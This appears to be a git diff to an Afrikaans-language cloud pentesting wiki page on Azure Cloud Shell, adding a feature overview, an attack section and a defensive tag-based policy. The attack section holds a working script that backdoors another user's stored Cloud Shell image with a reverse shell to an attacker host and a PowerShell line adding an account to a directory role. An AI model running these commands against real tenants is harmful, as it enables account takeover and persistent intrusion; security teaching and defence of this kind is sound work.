diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md index 591565124..15aa899ec 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md @@ -4,18 +4,106 @@ ## Azure Cloud Shell -**Azure Cloud Shell** is 'n interaktiewe, geverifieerde, blaartoegang terminal wat ontwerp is om Azure hulpbronne te bestuur, wat die buigsaamheid bied om met of Bash of PowerShell te werk. Dit loop op 'n tydelike, per-sessie gasheer wat na 20 minute van inaktiwiteit tydelik is, terwyl dit lêers in die $HOME ligging behou met behulp van 'n 5-GB lêerdeel. Cloud Shell kan deur verskeie punte toeganklik gemaak word, insluitend die Azure portaal, shell.azure.com, Azure CLI en PowerShell dokumentasie, die Azure mobiele app, en die Visual Studio Code Azure Account uitbreiding. +**Azure Cloud Shell** is 'n interaktiewe, geverifieerde, blaartoegang terminal wat ontwerp is vir die bestuur van Azure hulpbronne, wat die buigsaamheid bied om met of Bash of PowerShell te werk. Dit loop op 'n tydelike, per-sessie gasheer wat na 20 minute van inaktiwiteit tydelik is, terwyl dit lêers in die $HOME-ligging behou met 'n 5-GB lêerdeel. Cloud Shell kan deur verskeie punte toeganklik gemaak word, insluitend die Azure-portaal, shell.azure.com, Azure CLI en PowerShell dokumentasie, die Azure mobiele app, en die Visual Studio Code Azure Account uitbreiding. -Daar is geen toestemmings aan hierdie diens toegeken nie, daarom is daar geen voorregverhoging tegnieke nie. Ook is daar geen soort van enumerasie nie. +Daar is geen toestemmings aan hierdie diens toegeken nie, daarom is daar geen voorregverhogingstegnieke nie. Ook is daar geen soort van enumerasie nie. ### Sleutelkenmerke -**Omgewing**: Azure Cloud Shell bied 'n veilige omgewing deur op Azure Linux te loop, Microsoft se eie Linux verspreiding wat ontwerp is vir wolkinfrastruktuur. Alle pakkette ingesluit in die Azure Linux repository is intern saamgestel deur Microsoft om teen voorsieningskettingaanvalle te beskerm. -**Vooraf geïnstalleerde Gereedskap**: Cloud Shell sluit 'n omvattende stel van vooraf geïnstalleerde gereedskap in soos Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, en teksredigeerders soos vim, nano, en emacs. Hierdie gereedskap is gereed om te gebruik. Om die geïnstalleerde pakkette en modules te lys kan jy "Get-Module -ListAvailable", "tdnf list" en "pip3 list" gebruik. -**$HOME volharding**: Wanneer jy Azure Cloud Shell vir die eerste keer begin, kan jy dit met of sonder 'n aangehegte stoorrekening gebruik. Om nie stoor aan te heg nie, skep 'n ephemerale sessie waar lêers verwyder word wanneer die sessie eindig. Om lêers oor sessies te behou, monteer 'n stoorrekening, wat outomaties as **$HOME\clouddrive** aangeheg word, met jou **$HOME** gids wat as 'n **.img** lêer in Azure File Share gestoor word. Lêers buite $HOME en masjienstate word egter nie behou nie. Vir die veilige stoor van geheime soos SSH sleutels, gebruik Azure Key Vault. -**Azure dryf (Azure:)**: PowerShell in Azure Cloud Shell sluit die Azure dryf (Azure:) in, wat maklike navigasie van Azure hulpbronne soos Compute, Network, en Storage met behulp van lêerstelsel-agtige opdragte toelaat. Skakel na die Azure dryf met cd Azure: en keer terug na jou tuisgids met cd ~. Jy kan steeds Azure PowerShell cmdlets gebruik om hulpbronne van enige dryf te bestuur. -**Pasgemaakte Gereedskap Installasie**: Gebruikers wat Cloud Shell met 'n stoorrekening konfigureer, kan addisionele gereedskap installeer wat nie worteltoestemmings vereis nie. Hierdie kenmerk stel gebruikers in staat om die Cloud Shell omgewing verder aan te pas, wat hulle in staat stel om hul opstelling aan hul spesifieke behoeftes aan te pas. +- **Vooraf geïnstalleerde Gereedskap**: Cloud Shell sluit 'n omvattende stel van vooraf geïnstalleerde gereedskap in soos Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, en teksredigeerders soos vim, nano, en emacs. Hierdie gereedskap is gereed om te gebruik. Om die geïnstalleerde pakkette en modules te lys, kan jy "Get-Module -ListAvailable", "tdnf list" en "pip3 list" gebruik. +- **Azure skyf (Azure:)**: PowerShell in Azure Cloud Shell sluit die Azure skyf (Azure:) in, wat maklike navigasie van Azure hulpbronne soos Compute, Network, en Storage met filesystem-agtige opdragte toelaat. Wissel na die Azure skyf met cd Azure: en keer terug na jou tuisgids met cd ~. Jy kan steeds Azure PowerShell cmdlets gebruik om hulpbronne van enige skyf te bestuur. +- **Pasgemaakte Gereedskap Installasie**: Gebruikers wat Cloud Shell met 'n stoorrekening konfigureer, kan addisionele gereedskap installeer wat nie worteltoestemmings vereis nie. Hierdie kenmerk stel gebruikers in staat om die Cloud Shell omgewing verder aan te pas, wat hulle in staat stel om hul opstelling aan hul spesifieke behoeftes aan te pas. +- **$HOME volharding**: Wanneer jy Azure Cloud Shell vir die eerste keer begin, kan jy dit met of sonder 'n aangehegte stoorrekening gebruik. +- Om nie stoor aan te heg nie, skep 'n ephemerale sessie waar lêers verwyder word wanneer die sessie eindig. +- Om lêers oor sessies te behou, word jy die opsie gegee om **'n stoorrekening te monteer**, wat outomaties as `$HOME\clouddrive` aangeheg word, met jou `$HOME` gids **bespaar as 'n .img-lêer in 'n Lêerdeel.** +### Cloud Shell Phishing + +As 'n aanvaller ander gebruikers se beelde in 'n Stoorrekening vind waartoe hy skryf- en leestoegang het, sal hy in staat wees om die beeld af te laai, **'n bash en PS agterdeur daarin te voeg**, en dit terug te laai na die Stoorrekening sodat die volgende keer wanneer die gebruiker die shell toegang, die **opdragte outomaties uitgevoer sal word**. + +- **Laai af, agterdeur en laai die beeld op:** +```bash +# Download image +mkdir /tmp/phishing_img +az storage file download-batch -d /tmp/phishing_img --account-name + +# Mount image +cd /tmp/phishing_img/.cloudconsole +mkdir /tmp/cloudpoison +sudo mount acc_username.img /tmp/cloudpoison +cd /tmp/cloudpoison +sudo mkdir .config +sudo mkdir .config/PowerShell +sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1 +sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1 + +# Bash backdoor +echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc + +# PS backdoor +echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1 +cd /tmp + +sudo umount /tmp/cloudpoison + +# Upload image +az storage file upload --account-name --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" +``` +- **Dan, phish die gebruiker om toegang te verkry tot https://shell.azure.com/** + + +### Vind & Verbied Cloud Shell Outomatiese Stoor Rekeninge + +Stoor rekeninge wat deur Cloud Shell geskep is, is gemerk met **`ms-resource-usage:azure-cloud-shell`**. Dit is moontlik om 'n Azure hulpbronbeleid te skep wat die skep van hulpbronne met hierdie etiket deaktiveer. + +Vind al die stoor rekeninge wat deur Cloud Shell geskep is, deur etikette: +```bash +az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")' +``` +Beleid om die skepping van outomatiese stoorrekeninge vir wolk-shel stoor te verbied op grond van etikette: +```json +{ +displayName: "Restrict cloud shell storage account creation", +description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy", +metadata: { +category: "Storage", +version: "1.0.0" +}, +mode: "All", +parameters: { +effect: { +type: "String", +metadata: { +displayName: "Effect", +description: "Deny, Audit or Disabled the execution of the Policy" +}, +allowedValues: [ +"Deny", +"Audit", +"Disabled" +], +defaultValue: "Audit" +} +}, +policyRule: { +if: { +allOf: [ +{ +field: "type", +equals: "Microsoft.Storage/storageAccounts" +}, +{ +field: "tags['ms-resource-usage']", +equals: "azure-cloud-shell" +} +] +}, +then: { +effect: "[parameters('effect')]" +} +} +} +``` ## Verwysings - [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)